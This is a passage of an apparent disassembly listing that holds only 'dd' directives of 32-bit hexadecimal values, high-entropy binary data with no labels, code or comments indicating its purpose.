		dd 5901D363h, 112BDE5Ch, 202EA665h, 445636BCh, 708F4909h
		dd 0D67CE279h, 2C46766Ch, 622E6300h, 60F74F17h,	0BC9CDA01h
		dd 48B01B19h, 3223E03Eh, 7B44309Eh, 28051C85h, 0AC80B8DEh
		dd 5E47BA76h, 92DC91F3h, 9CA040FDh, 0EE091DA8h,	0D99AE973h
		dd 87100E4h, 8AA59416h,	8420A00Fh, 0DE44603Dh, 59BE2893h
		dd 0A717B0F5h, 48FC0119h, 0EC24BFD8h, 1A78CFD9h, 7112550Fh
		dd 0F4B0B3D1h, 0CBBB0035h, 15824B3Bh, 0E45BBCB8h, 7C2F9817h
		dd 0C22AAC10h, 0F492C6C4h, 0DF288288h, 73E084EDh, 8E003C55h
		dd 1099098Bh, 9F230CEh,	15C61C6Fh, 0F72670A2h, 5E09540Ah
		dd 76DCC8C4h, 797180D6h, 68C00A27h, 845A693Ch, 4656C8B6h
		dd 0A2007424h, 985C3F6Dh, 0B423D9DDh, 0BE92630Ch, 409E6877h
		dd 708A187h, 0CB5A8D90h, 483501D4h, 2A4BBC23h, 701C2BC1h
		dd 0F8A5964Ah, 0E1B01B27h, 0B9864A49h, 68F7389Fh, 81980758h
		dd 879A7DE5h, 4C3357E8h, 0B0E14820h, 5E483916h,	57C530DAh
		dd 0A2700007h, 404D66ACh, 7DA464E1h, 18069804h,	3C12609h
		dd 0C0782385h, 8CE5ECh,	42D56EA2h, 4BDFED13h, 1082224Ah
		dd 92B8797Dh, 0B124F689h, 0D43CA9C9h, 28126422h, 18A06D6Eh
		dd 0C83C4F15h, 5800E524h, 61FDEEFEh, 0A5E03B1h,	34B34A74h
		dd 0AB026B4h, 0B18237Eh, 0DCC08A4Bh, 0D1CFD791h, 0BA18A045h
		dd 13E5B6B8h, 0F1F3EF0h, 0EAC17A62h, 3C37FCD7h,	15408228h
		dd 4508A127h, 3856B23Fh, 0D15600B1h, 797693FEh,	8A9D0E61h
		dd 0BE087414h, 0D3A902F4h, 0A06113E9h, 1B78708Dh, 4118BC00h
		dd 6EA63533h, 0AA1C7DCh, 81D73EE8h, 0E047F788h,	40B6956Dh
		dd 0B704EA80h, 0B8B346h, 897372A0h, 0BE3EAF6Ah,	0F44E9A00h
		dd 565EC343h, 71082A33h, 0C497B7F4h, 12802391h,	49DCC7A0h
		dd 0D7C10E03h, 9D19BE29h, 0E442CC0Eh, 88A470A6h, 0B42F9D16h
		dd 11EAC0A0h, 0A700A0E5h, 0D5765DF2h, 25DA59C3h, 0CC8B2DA9h
		dd 0AF58F85Bh, 318D0016h, 9D6CCE84h, 70F18FFAh,	0EA409204h
		dd 0E14C0BF7h, 98488515h, 5327BCA1h, 0E7B805F6h, 0AE8098C4h
		dd 917BDFEh, 87971011h,	97008CB7h, 1E497775h, 0B7F8A0A2h
		dd 0A4A6020Dh, 1B5395F5h, 2379ECF1h, 1900AD18h,	0D807BFA5h
		dd 0F0A27B4Dh, 0D773C70h, 162FF84Ch, 0CEBEACC8h, 7EFA5700h
		dd 5C8BE263h, 0EA520FBBh, 0A4EE8D6Fh, 8E17689h,	4B207616h
		dd 14B2BC35h, 0C83026F2h, 0D9590E69h, 5E0128CDh, 0CA41720Eh
		dd 462698F0h, 1DEE09Eh,	891D2A49h, 206E1E33h, 0C091CA14h
		dd 0A2AF118Ah, 0B5639800h, 7C198241h, 449A0035h, 0AC8BA126h
		dd 88FC17A9h, 167A790Eh, 64A237FAh, 0F9C098F7h,	43CF5F4h
		dd 7FCD5878h, 44B484FBh, 0C91FD9BCh, 3A0431BCh,	4C12545Fh
		dd 0DA88C48Eh, 0D1B1A3C0h, 6BCD056Ch, 0E03F274Ah, 1D0461F4h
		dd 3916A713h, 0AC3038C9h, 5C0797C6h, 0AC60B473h, 42020B0h
		dd 6EA567A4h, 4A6C41FCh, 508B0AEBh, 9C8F2D76h, 0F06D8664h
		dd 0A216753Ch, 5088F07Fh, 5CB8961Fh, 282818FDh,	3CC7F97Fh
		dd 7480A6EDh, 0AD1DF6DCh, 0AE2453D4h, 0A780C0EBh, 0D9485513h
		dd 9A885B6Eh, 1EC6CCFCh, 25589CCDh, 40ED88A4h, 0F056806Ch
		dd 0C95C9CF2h, 0B3084C97h, 2F63602Bh, 0D80067E3h, 0C6C0B26Bh
		dd 0FBB2955h, 2604CC99h, 69611C86h, 911417B5h, 16F8B5Dh
		dd 0EC0F4ABCh, 2576C050h, 9A46EADEh, 3D402C68h,	29658810h
		dd 4BA3D604h, 16128CECh, 2DACF5DEh, 5001B800h, 5CECC89Ch
		dd 0A6697C2Dh, 15978066h, 83229108h, 0BDCACBD3h, 100C8413h
		dd 4EF8B9C1h, 40345459h, 1540013Eh, 5EACC549h, 0C000386Eh
		dd 0E9D8AC05h, 0CC91068Eh, 5F1DA300h, 0EBDE4E6h, 623ADEBCh
		dd 0D468C94Bh, 0F0C41A74h, 2F05F232h, 457CF47Ah, 0CEC6AD12h
		dd 0D3E080E6h, 154CDEBDh, 8C5EBC80h, 7EFB8F09h,	46F41929h
		dd 385F9C6Ch, 0D2E31B8Ch, 11A89D09h, 11DB805Eh,	37B876Ch
		dd 0DA77376Dh, 685A7948h, 0A3DF9C8Eh, 0B821D00h, 572E881h
		dd 0BCB81A34h, 0BD40980Fh, 5C9C1478h, 6D7C1640h, 9D190F3Fh
		dd 9BB762C9h, 7A748060h, 93F82F1h, 1E41F57Fh, 170BC4D8h
		dd 0D8BD8621h, 0D9F21D48h, 0D000271Ah, 87BBF541h, 0ACA03E4Bh
		dd 0D8DD1486h, 7D241447h, 26467EF0h, 9E6D177Eh,	0FC5A0060h
		dd 4974BE78h, 98D08234h, 0F3EAC4C1h, 4F90CA03h,	6B16A56Dh
		dd 45BFAAh, 8FCF780h, 93F2D910h, 66A248F6h, 0E4DD8541h
		dd 0B8A0E0EBh, 0D22CA184h, 84250927h, 4C09D30h,	16BA8C34h
		dd 0F3B16B23h, 3023B280h, 9C00081Ch, 40BF3A2Bh,	4B86C1BEh
		dd 0AF401E55h, 0C451F0CAh, 0EEC3EB00h, 543AC4Dh, 4B68DA7Dh
		dd 0BDC4FC1Dh, 575930EAh, 25C49C0Bh, 0C0F9C1h, 93975A0Ah
		dd 0A6A0BF3Eh, 4F98426Ah, 561AF400h, 0B4AE2CFEh, 0E0722753h
		dd 0B2F84440h, 0F8EE4132h, 94B55D89h, 0DC6B9C81h, 1873D8A2h
		dd 0DE49277Fh, 53B55080h, 38A9F50Ah, 0A6298189h, 23BBFB87h
		dd 4B7BFAF1h, 34D81E28h, 6E9EF101h, 775A4786h, 80BB5EF0h
		dd 33019FB7h, 71AAAE38h, 3424C261h, 0EE5E07F1h,	0F48E1CCEh
		dd 0E200E289h, 76D730E6h, 1C916D00h, 0EEAF59FFh, 2FB317D5h
		dd 0EA544356h, 61D926FEh, 71DC43CDh, 3FB0A289h,	5E648450h
		dd 2123C82Fh, 0A3618601h, 6930257Eh, 0B09B4B42h, 0FEEE6F8Ch
		dd 0D088D229h, 862BB878h, 607C5A00h, 0F81EE60Ch, 14B9054Fh
		dd 8F2775DEh, 0A39EA8h,	502DA0E4h, 0EB307D85h, 4DD854C4h
		dd 0BA710D40h, 30B8ED9Fh, 34409980h, 6841D83Fh,	2400777Fh
		dd 53F5DCB6h, 270D60FBh, 0C587640h, 64084795h, 0B501605Fh
		dd 1723252Bh, 76A305Ah,	7A1F2C21h, 0FCA4D4EAh, 0E0DEC09Ch
		dd 5C68011Fh, 41462137h, 18B9809Bh, 4BD41D48h, 604295AAh
		dd 253AF0D6h, 0D16071D1h, 386D182Bh, 0CC83C1C6h, 5595D10Ch
		dd 0BB76A6F1h, 4403AB1h, 7548FC93h, 0B7F134A2h,	16180C2Bh
		dd 825A8AFEh, 58E8C5C4h, 0EA03367Dh, 8256638h, 0D8711CEEh
		dd 0BBCB45B7h, 6D8013Fh, 78E4018Ah, 8C22BC98h, 0C70C5D00h
		dd 0BDAAD102h, 60AF0935h, 984DC62Ch, 9D44E2CBh,	80E911FCh
		dd 0F5B6777Eh, 7A55017Fh, 0A669755Dh, 0A2EC27B4h, 0A417305Dh
		dd 68B6F725h, 2DBFA6B4h, 0E8441904h, 16025F00h,	9D53C2C8h
		dd 0DEEF0E26h, 21981ED9h, 0F42E4510h, 0BE1328B7h, 32233822h
		dd 9D460D4h, 0BFF7894Fh, 7D245846h, 0D652D83Ah,	0B8465EDCh
		dd 38EF2400h, 92BC1BB1h
		dd 0A151ED60h, 0B610E0h, 0D979D51Ch, 76D382C4h,	4F23EC02h
		dd 62F0996Eh, 7EF45EE4h, 9200EC46h, 691F1ADAh, 337F86B8h
		dd 0A4F6EB04h, 84EC9D6Eh, 838CE9F8h, 54C8BCCDh,	0C880045h
		dd 7176EC01h, 0D53962E9h, 525327FCh, 0F9822A38h, 0BC159564h
		dd 7004C6BAh, 0C0BD3AC5h, 76C7092Ch, 7C92855Bh,	0BE004EBAh
		dd 0D158D438h, 1D2A00BFh, 12E9C01Ah, 41F701CFh,	53FE300Ch
		dd 1FCA202Bh, 80ACB59Fh, 0F72475DDh, 1F7C492Eh,	36982C00h
		dd 1741F85Fh, 35BE0030h, 9BA7E588h, 961CCA53h, 466A91Fh
		dd 0D4A07452h, 7BB63F00h, 0B3043ACCh, 14DE26D8h, 0A5160450h
		dd 1218F26Dh, 4093D3BAh, 0D4D48C79h, 23343ABFh,	7B320223h
		dd 607C78A5h, 0CF1366Fh, 802293FDh, 8D383500h, 0E6DC9539h
		dd 0D9A17D00h, 0E00311B5h, 347A001Eh, 6BDA6E4Bh, 504ECB4Ah
		dd 0D8378013h, 26E3AA41h, 0FDE44E6Bh, 0B238F396h, 5EAA30D8h
		dd 0BDC4DF00h, 7627ADCBh, 47D726D5h, 0AC21DE00h, 0D7E0802Ah
		dd 9D4E4974h, 0E40E1CB6h, 0B6508421h, 30090094h, 0C0A4C308h
		dd 5526BD0h, 5082A299h,	1DE488F0h, 38CA88h, 0E28ADB62h
		dd 0ED964BBFh, 1188B97h, 54B6DE3Ch, 0C0B4DB2Bh,	0DDA6C690h
		dd 34474AD5h, 0D4FCE0h,	887BE813h, 1814EF27h, 2131154Ah
		dd 0E0006444h, 1DE1FE87h, 7E934D0h, 14848892h, 0A2AEF048h
		dd 0BD12EF55h, 0B0DA15DFh, 670758C0h, 0F003B5Fh, 8B5ED190h
		dd 4A53A499h, 7610C9C5h, 889EF3E0h, 4B61369h, 811960FDh
		dd 0D030AC8Ah, 0D8FE10B4h, 19624600h, 47C08955h, 75DA7D04h
		dd 7497AFB2h, 5B4A8B80h, 0D0B09B88h, 3898A654h,	2D77358h
		dd 5D18801Bh, 4C37559Ch, 6C765307h, 326F5D11h, 0E00C4DC6h
		dd 0A186296Fh, 0B689DD41h, 0EC20522Bh, 0E77B4511h, 7A0B1B25h
		dd 69EF0054h, 47F23E79h, 0A31F13BFh, 60C0F97Fh,	8126A2DFh
		dd 162527D3h, 0EC724048h, 0FB873F0Fh, 59A42582h, 0BA81E4ACh
		dd 7A432A65h, 78854CA0h, 98913B09h, 53BC0102h, 0C4F63Ah
		dd 0C0006D95h, 0B623DE90h, 0D924D850h, 74451C4Eh, 4CE570F7h
		dd 7614203Bh, 0FA759ACBh, 0F5299B0Fh, 0FBC741E2h, 202B4B74h
		dd 777B8380h, 64BA0425h, 23470078h, 8B7C71ABh, 6E091636h
		dd 564821F1h, 18EB74B8h, 3CE9389Bh, 0A37CF816h,	15197790h
		dd 9DB99CEFh, 116D7410h, 0D7F7F613h, 0F2534809h, 0FF9A31D8h
		dd 12A27CF1h, 588CD31Ch, 54263C43h, 10834CF2h, 0F049FD48h
		dd 9DC04661h, 216464E7h, 0C2A79960h, 4A6C1809h,	27B4F823h
		dd 90678C20h, 8B8051EFh, 0C6CCC23h, 4DC63101h, 0A88D4460h
		dd 0DD54042Bh, 0F808052Bh, 238B4h, 16AE2A87h, 123FE342h
		dd 0B5573E1Ch, 8620F680h, 0B441EFD1h, 0FD21BE2Ch, 5E1825F1h
		dd 0CCAA1200h, 0A46FCADEh, 161716C6h, 0A2A4C478h, 302EF2A8h
		dd 1E017909h, 1AF070CEh, 4C212656h, 9FEC092Ah, 0B8701453h
		dd 0FA7005h, 0D549218Eh, 0E4A3C08h, 4D9FA140h, 0CB4ED06Bh
		dd 0C5BAC82Ch, 0A8A6C06Ah, 202967A1h, 0A9255C96h, 0DC40DC98h
		dd 272558B5h, 7080BF42h, 0D98D862Ah, 4FE422BFh,	0EC00094Dh
		dd 4C1EF063h, 6CEB082Ch, 5EE33831h, 1B762180h, 8F2D40A8h
		dd 2EF6848h, 2C0C5746h,	0B40441FFh, 0DD4CEC14h,	1A00A8D1h
		dd 0EB42FEEAh, 680B167Bh, 59BE0D25h, 0D288007Ch, 0F4C7545Eh
		dd 32EE99FAh, 29596109h, 1C587Ah, 4F218588h, 0A5C7F83Fh
		dd 2040754Bh, 922E6199h, 3CA489E8h, 3F4D00B0h, 0EE9AC77Ch
		dd 8CD95406h, 816C3F10h, 42172B3Ah, 0FD58C037h,	83007DFBh
		dd 0C135AAA0h, 9FCDBE27h, 61E0440h, 2D5B2978h, 0B6A0A801h
		dd 33C016E4h, 0C1E85A8Fh, 80FC93F4h, 659B6881h,	12E40CB6h
		dd 0ECC5A626h, 64A427D0h, 7BCF0094h, 4FF9D34Dh,	0C7007F3Ah
		dd 309EDC97h, 4AAAB3F4h, 0A3FCC405h, 0C098B764h, 456304A1h
		dd 5F695002h, 0FF9D0AC1h, 0B47690E2h, 23D1BE06h, 48859F98h
		dd 5B880419h, 107604F5h, 0B8EC28B8h, 0A5002B43h, 94BFC4A2h
		dd 0D509CA98h, 5707ABh,	59621F24h, 63C90316h, 512B42CBh
		dd 0B432182Ch, 1BE81E07h, 1D030B40h, 10E5A1B2h,	6019EC8h
		dd 6BAA6AAFh, 802F302Bh, 3DC4104Bh, 0DE862754h,	339024CEh
		dd 8850B9C0h, 60B314E3h, 0E29460D0h, 9E017CF0h,	4EBC2216h
		dd 2E2B892Bh, 0D823B0h,	940134F8h, 0B348937Ch, 31391414h
		dd 891C3AACh, 0F8BD76C7h, 7E24A244h, 0AC465EA4h, 74FFA601h
		dd 92D10E49h, 0E4B0CAD8h, 0A149D375h, 0E24454E0h, 305FF2D4h
		dd 427CD63h, 2C44418h, 0B51E3F6Ch, 38DE1322h, 0DA065640h
		dd 74D61239h, 0C7ACA333h, 0B44151E8h, 88049F0h,	0C02A0D44h
		dd 0E00373Ch, 0AF53A41Fh, 7ADDB795h, 0CA59034Fh, 41FFB4F2h
		dd 675070C8h, 1F9EC23Ch, 7540E362h, 7146E218h, 0BFF33A36h
		dd 4605062h, 1539C283h,	3D314EB8h, 216308CCh, 0B10C0075h
		dd 48CC90F1h, 0CF30BB62h, 72718807h, 14FFADFh, 0B9875092h
		dd 83EDD2EFh, 4599E739h, 74287851h, 0D60A1B74h,	17B0114Dh
		dd 0D40363BAh, 0AB095D2Ch, 25083074h, 0BA308D21h, 0EDE49500h
		dd 0BF2A0CDEh, 0DF750C92h, 3F70443Dh, 0D300B07Ch, 0B3FB5C05h
		dd 3CE2A2B2h, 0BB03259h, 9F0E13A0h, 9C7AC82Ah, 0AB5E513Ch
		dd 0EAE1AC2Dh, 3DC8CE22h, 58B76B1h, 0D7682D02h,	23282EA9h
		dd 4F803D4Dh, 0B0C2FD44h, 34315908h, 0E8C0D08Dh, 6B90760h
		dd 0E5C907C8h, 487CC9B5h, 18C15DF2h, 6F405D5h, 2B540200h
		dd 0E1893030h, 7F622D71h, 8E7306FFh, 98A7D55h, 4D211E60h
		dd 0F5FF7Bh, 0B74D958h,	0BB2EA3A5h, 0E5D3CD06h,	2858EEE9h
		dd 46D0B052h, 0BA2B0206h, 314CD45Fh, 24911027h,	666538BAh
		dd 0A190B000h, 4BCACE84h, 0F5AD8D18h, 48874E80h, 7C80068h
		dd 5EB101C9h, 304944D4h, 239020E6h, 4B0E3CBAh, 96DDFEBBh
		dd 0EC0E500Ah, 62637B44h, 31E829E8h, 3079448Ch,	0F30E3B0Eh
		dd 0D029414Bh, 9050FB88h, 4B7B2h, 500CA905h, 0DE91B9F0h
		dd 908B6800h, 6FBA4B53h, 0CDF220D0h, 183F0146h,	61D4649Fh
		dd 60806AC4h, 5B29AFh, 86945338h, 311432ACh, 3A0AEE0Eh
		dd 0D77301A0h, 68205105h, 0DCF02E12h, 0B0F2006Ah, 8B1798D5h
		dd 1BEE900h, 0B31D893Dh, 2A021DA7h, 6243C9B6h, 0D7E31000h
		dd 0A0C8FFEAh, 8116C50Bh, 4824D461h, 8C882050h,	0A3BA032Fh
		dd 96F3F74Ch, 384B5292h, 0D76EE880h, 0AB106D60h, 90FE140Dh
		dd 0FC814914h, 1B864E0Ah, 21467EECh, 0DCC12D00h, 31BF7915h
		dd 0CB804750h, 3B4EFC12h, 8E78550Fh, 2C199859h,	0FD78844Fh
		dd 3776CC19h, 88265310h, 4B5C72E0h, 3DB5020Ch, 779FAAF8h
		dd 3B5C9AF3h, 4587B3E5h, 319C4EC2h, 80F296F0h, 0B9514441h
		dd 41178EBh, 59F14697h,	9C48822Bh, 16E46331h, 223946E8h
		dd 3C3B0378h, 0CEBEFE0Eh, 12F99F80h, 7AE5CF18h,	13E820F0h
		dd 2760BF96h, 0BA400h, 45DF7911h, 0E728C1A0h, 40289EF5h
		dd 594BD684h, 5DBECC19h, 0CFE56A10h, 8F9D9891h,	0E8172268h
		dd 12806761h, 78B1033Ah, 0FEB8832Dh, 5E7A3EE5h,	54D3053Fh
		dd 0D800D5E0h, 0BC1555DEh, 4F2E81h, 0CE730EB7h,	754A6B9Ah
		dd 0BB700893h, 37B52014h, 931E0518h, 400F2DE0h,	0F42A6D59h
		dd 4F00D06Fh, 7769BBBDh, 0E8D2FBh, 20414AD7h, 4E94A472h
		dd 8B03660Bh, 80FDD5h, 59601E57h, 910CE00h, 1822EE1Bh
		dd 82A6000Dh, 0ADCFA5E8h, 21C05D61h, 0AAD18D7Fh, 0E7CE4C4h
		dd 7B72DC0Dh, 9E807788h
		dd 986CD186h, 8AF300F1h, 0BF040CDCh, 0E900EA49h, 0F7E3BCB4h
		dd 0C0B92403h, 4A865F30h, 0DE004517h, 572E9DF2h, 3E243450h
		dd 0D1810774h, 27DC1098h, 0A3EE10B1h, 38B3014Eh, 4F5B2DB4h
		dd 0C508985Ch, 3AA7321h, 7D720C4Eh, 0DF91D739h,	885F0E7h
		dd 0A8C00E74h, 0A5F2B629h, 0D2530380h, 0D39B881Ch, 210016A3h
		dd 0E9F28EC2h, 222D019h, 66C71F9Dh, 0B42E0D09h,	1AB238Ch
		dd 0C4D4D18Bh, 887A189Ah, 0D1758498h, 279F7F00h, 453BCCACh
		dd 5BC00080h, 0BD59A076h, 61CF1292h, 0D139D861h, 0FE040334h
		dd 5690F42Dh, 26D7FA80h, 72401BECh, 98A058Dh, 111788h
		dd 0D470CE80h, 97038B02h, 9FB27BE5h, 780830CDh,	2DC5B21h
		dd 0EDCA0309h, 8C22819Dh, 0CC46B368h, 1AF46D8h,	0C4D0D187h
		dd 490C7B7Ah, 3809C88h,	38DDAFD1h, 7C8F8C97h, 0BD18CF48h
		dd 0D3D101E9h, 1581008Fh, 0A587B538h, 0C15427D9h, 7C1849D8h
		dd 58EABC8Ch, 6B210091h, 62089A66h, 0BA3F3BB7h,	0B62498CAh
		dd 0E49E31h, 0BB7981CBh, 0E08DD96Fh, 189FF0A1h,	0A7F204B4h
		dd 32D38380h, 8CC82217h, 983822C0h, 0E6B23Fh, 55916C46h
		dd 1497E70Bh, 88C29084h, 6EE8B090h, 0FA92018Ch,	3785BFBEh
		dd 1979801Ah, 3C6E9BEDh, 6403E23h, 757DC580h, 0A6AE2C74h
		dd 837B892h, 0B3603107h, 0EC87018h, 44E70E02h, 88BE8560h
		dd 0E9003031h, 9B3CB6AAh, 45A38ECh, 4FE8861Eh, 0AE0C806Eh
		dd 49C00537h, 44CD7934h, 8FA11409h, 180186E8h, 3B908015h
		dd 0AF30827Eh, 415B4991h, 0BA18DFB8h, 38B44E08h, 40C9C4ACh
		dd 544EA170h, 90153972h, 73FE4280h, 860F6541h, 1660B3F2h
		dd 6BC65E60h, 7FA6122Bh, 500811D9h, 6DE9EC07h, 985CC396h
		dd 0DEA7A680h, 6C1AE802h, 8499B888h, 4C98A18Ch,	0D6D10489h
		dd 327C8AC4h, 10822748h, 0AE76EDD1h, 0B858E900h, 0F31A0130h
		dd 64E8A0AFh, 1E2F0D33h, 2310B4E4h, 3073A274h, 0C0FD5BAFh
		dd 0CC4CE8F3h, 63CA0625h, 3A581257h, 0DC249C05h, 38BF0124h
		dd 344BF8E3h, 358841B8h, 0BDFE9Eh, 8247E0A3h, 0A077CFDCh
		dd 9500CD77h, 264BC0E8h, 91B4E391h, 187AD144h, 0EDA70E9Eh
		dd 4E0432Ah, 131B33C4h,	8E15A0C4h, 186CFCC8h, 0B92C474Bh
		dd 6328C55Eh, 8C3C086Fh, 94C8E840h, 39754674h, 49380EEFh
		dd 0E9F0A05Dh, 0B2DFD0BCh, 1D612004h, 0B9101630h, 2088A3h
		dd 59A53B9Dh, 0A0B49F2Ah, 0B50F31C6h, 34460D28h, 2300894h
		dd 0D1308F8Ch, 97861202h, 50D038CDh, 8002D900h,	3A89DA9Bh
		dd 6BE828CBh, 0CAAA09CCh, 0C20874Bh, 4FDA86BEh,	5C093110h
		dd 0F6E9244Ch, 61AE30h,	20D2583Dh, 1A036364h, 566960C0h
		dd 500A3341h, 8C8D6409h, 8802D704h, 6C62DD97h, 2DF5220h
		dd 0B49103B3h, 3F41090h, 0D89CBDE0h, 805842E9h,	7AF2B530h
		dd 0D38B21BAh, 0F28DCF60h, 143C017Bh, 277DD8F1h, 6ACC50B8h
		dd 0C801E19Fh, 8BF45AD1h, 0C1719EB0h, 1CCEF414h, 0B8C04B88h
		dd 0DC3331Eh, 1FB4E26Fh, 38C020D9h, 6924B140h, 4C048193h
		dd 4EB860D9h, 5C3823B6h, 8E00CA11h, 446B4EA0h, 650FD821h
		dd 0A3B90F77h, 1D1808AEh, 40BA80F1h, 24949A64h,	5D029392h
		dd 0A0C17BD6h, 0DD3FC313h, 0C55488h, 9E551277h,	0EDF88223h
		dd 0A3019AF0h, 180B0271h, 0B6EC16FAh, 0A4C3123Ah, 0E8280A40h
		dd 41104470h, 0C1549493h, 406D4601h, 62D62F2h, 0D31178B9h
		dd 824EA685h, 0C0678C56h, 4EAD7407h, 13BE9BA0h,	411F0797h
		dd 8028C551h, 69163A85h, 560279C0h, 2B5B4Eh, 70240E8Ah
		dd 0EB37621Dh, 0B0C07C7Ch, 1CF129ABh, 43DB291Ah, 18CBF9BCh
		dd 886E00F6h, 561E4247h, 7D06DA0Dh, 0BCCC9C96h,	43D612F8h
		dd 15B444D3h, 0C444C882h, 12CF4B10h, 91E3A000h,	5B8083C0h
		dd 2390D248h, 2AA018Eh,	0EF5978Dh, 2D25D04h, 7374C2F6h
		dd 0DE2723h, 4B9F2A9h, 0B0FBE09Fh, 3669C300h, 0BFDB604Ah
		dd 38A23D37h, 28C8029h,	3EABE89h, 0C61A1C48h, 8D1F51DEh
		dd 46CB8A40h, 91423337h, 829E11BCh, 62B8F2B7h, 0ACBCB33Ah
		dd 0F28FC940h, 0EE7878CDh, 0D48A1506h, 46488014h, 0B8BA3781h
		dd 0E08EB3D4h, 48B26072h, 0D9AF93FCh, 2048A459h, 40ACA0EAh
		dd 0BF3B80BBh, 67D13899h, 0AF05AC18h, 6936DA3Ah, 68B1D000h
		dd 0C06E91Ah, 0EFE0B411h, 23ED9560h, 0ED22320h,	38E44EA5h
		dd 20C66284h, 0A84EAC75h, 260CF87Eh, 81681774h,	0B076076Bh
		dd 509401D6h, 0A44EE9DBh, 74790CB9h, 79059018h,	0B5498B61h
		dd 6DD40081h, 0B2264800h, 0A8A80875h, 0EF00303Fh, 6D9E1AFFh
		dd 1628946h, 69159765h,	0D88FD85Fh, 0C300C6CBh,	0AB529E86h
		dd 583226B9h, 9205B6E3h, 0C0066569h, 0ED1E39D8h, 6EB9D900h
		dd 0CAC4332Ah, 0D128B17Ch, 7C901813h, 524160Ch,	588C26BCh
		dd 0AC39DE24h, 6CAEEB1Fh, 0F067B245h, 978902F0h, 79448CD5h
		dd 2DE0351h, 8D5D8368h,	90171588h, 75107E00h, 0BFC6BE38h
		dd 8592046Ah, 0A299AF6Dh, 30C7E214h, 5D00088Dh,	97D4F391h
		dd 0C4DE6C8Ch, 81AF13C0h, 5CFC8D4h, 7C97D083h, 37B317C9h
		dd 0C89518BDh, 0E8018610h, 59A04BABh, 0C1831E68h, 0E498B4E9h
		dd 0F1CA5017h, 6B23983Ah, 0E9B68800h, 649763C4h, 96BF800Dh
		dd 8946500Ch, 8C02AB02h, 34E7FD97h, 2D35E00h, 34F833Eh
		dd 94972BBEh, 0A002DBDCh, 0A4CBE0BCh, 0E33C4041h, 2010652Eh
		dd 6A8840F0h, 5B871506h, 1B9CE40h, 0B7CD136Dh, 70D9C595h
		dd 1A15385Eh, 3B02AC7h,	4A79E26Dh, 9002D284h, 404F9094h
		dd 0DF593117h, 0ACBE8D4h, 38CF6362h, 30371C88h,	4B085A61h
		dd 7B165C00h, 156E40B3h, 4483E407h, 336F46ECh, 480916A1h
		dd 0D8088434h, 0B74EA760h, 11543823h, 0AF8F00C3h, 0ECC2C4Eh
		dd 705A5C48h, 260D8922h, 0E07BE390h, 0A061CDF1h, 4F052C33h
		dd 1E148BCh, 0C695BAA8h, 0D1D9DC38h, 16D1AC99h,	0CC00AC18h
		dd 7CB58A07h, 5CB0B76Bh, 430BBDDEh, 0C22473Dh, 0B720E0D9h
		dd 9465F89Bh, 266711F8h, 0DC58A5h, 0E8D39FF7h, 0CB391CE7h
		dd 3C4A5C20h, 0D13A1F86h, 3E4F3700h, 600C56B2h,	7FDB4213h
		dd 0E16510C0h, 386B6267h, 0C71279F8h, 60C74434h, 39162E68h
		dd 4F897E34h, 7063B48Ch, 19B36B98h, 2420BCA1h, 8C141540h
		dd 237CCF85h, 0D1043FAEh, 38A2C4ABh, 0D1850399h, 0F7B82002h
		dd 6C5482DDh, 62A40621h, 0C8D2C0h, 11731DC0h, 0FA64A6Fh
		dd 706E7F03h, 0D8164B6Bh, 0C0D040BCh, 9B2EB1A0h, 0B8924FE4h
		dd 0A029CA26h, 0BD24C3h, 0E104C3E9h, 0F96D5E99h, 64586EEEh
		dd 0F76000F0h, 76BCABCh, 8BF0962Fh, 684CDBC8h, 0F8382800h
		dd 0D8501B68h, 0CB260954h, 0ACC5CE69h, 4460C5E4h, 6061B8Fh
		dd 152F3B6Ch, 20417278h, 3498D330h, 0CCAE1E0Bh,	0D51C80B7h
		dd 0D3F09B37h, 7E30C2E9h, 8CDE800Ch, 0B54EB904h, 0BC8EA438h
		dd 0E4712Eh, 0BC97843Ch, 70CAD52Ch, 78D664D4h, 64B60253h
		dd 14AB4BC7h, 28D80F09h, 97024BAh, 509D3F67h, 0AB807011h
		dd 0EB6CDB92h, 422FF201h, 396D60E3h, 0A1DE40DCh, 5C4B298Ch
		dd 0DC0C688h, 12D846BFh, 4B1B18A6h, 5B0F8E40h, 8B02BCAh
		dd 39026E63h, 4868D8C3h, 0A3EFE8B0h, 1417E1A1h,	0CBD33987h
		dd 62793040h, 310BB612h, 0A08DF187h, 719917F8h,	0DC2D59D1h
		dd 0A203CBBCh, 0BA47496Bh, 0E338908Bh, 787049E0h, 4BAC9101h
		dd 600FC57Ch, 0BD4054BCh, 0F1B2652Ah, 233C2ECEh, 4D0D0063h
		dd 2625F2DDh, 9EE5D000h
		dd 0D3C880B3h, 1680A110h, 521CDC08h, 5A8055BBh,	0D1B067DFh
		dd 0E954011Bh, 0C33AB17Eh, 0FB828C0h, 0DAE3D884h, 44186740h
		dd 824D62C2h, 0E6A78C8h, 1C9BC802h, 71E99E00h, 7CB22CC7h
		dd 697F9A90h, 1744DCE7h, 0FCDA2861h, 920BF398h,	989FBDE6h
		dd 50AF9054h, 0E33011h,	474E25DCh, 7A7433C3h, 3400E24Fh
		dd 0CD031D7h, 0F3050BDCh, 11805B6Bh, 0A29F8DD9h, 176C1A0Ah
		dd 4F87A46Ah, 4300679h,	128D9DDh, 87B5C868h, 60963815h
		dd 6012AA49h, 3887B888h, 5BCF2D82h, 0C6F873E4h,	260440D1h
		dd 699CD32Ah, 993068A1h, 4798A23Ah, 60C7442Ch, 0DFCFFAEh
		dd 73CF126h, 0BCF46C48h, 0D2148CC4h, 10B42E95h,	2D1D6E23h
		dd 0FC6114EBh, 1DE8F44Ch, 30647C8Ch, 797E2001h,	8024E337h
		dd 0F0824C63h, 67A5F80Ch, 60C664A8h, 7EB2CB51h,	9F940032h
		dd 5A1DA5Ah, 7C99A45Eh,	44184879h, 0EABD2E17h, 6CD2B490h
		dd 0B0F34D6Bh, 0C01AA509h, 5049C46Ah, 0DB4A0042h, 606D41BBh
		dd 4D40BC0Ch, 0CE85A60h, 5F6927B0h, 649F8B01h, 3F41D68h
		dd 4EA2E463h, 56CC2E31h, 21C90B4h, 48325CE1h, 0C8C4C34Fh
		dd 0A0B95971h, 91F9508h, 90C99BBDh, 30284360h, 1F7087C0h
		dd 391ED94Ch, 0BDF59F64h, 8CAED241h, 23F14BCAh,	94778040h
		dd 9464E3D8h, 22105B11h, 0D0308C18h, 97871202h,	720CCBC5h
		dd 0A802D809h, 945188h,	67687AD5h, 3919DD6Fh, 0ACB03A06h
		dd 13F8BC68h, 0F181008Ch, 22C331E0h, 1E095A20h,	68324609h
		dd 60871528h, 30B98158h, 2718680Eh, 0E9219A17h,	0BEA430BCh
		dd 7D331EF0h, 0AC34645Ah, 4AE0F8B6h, 0BC025579h, 0F080848Fh
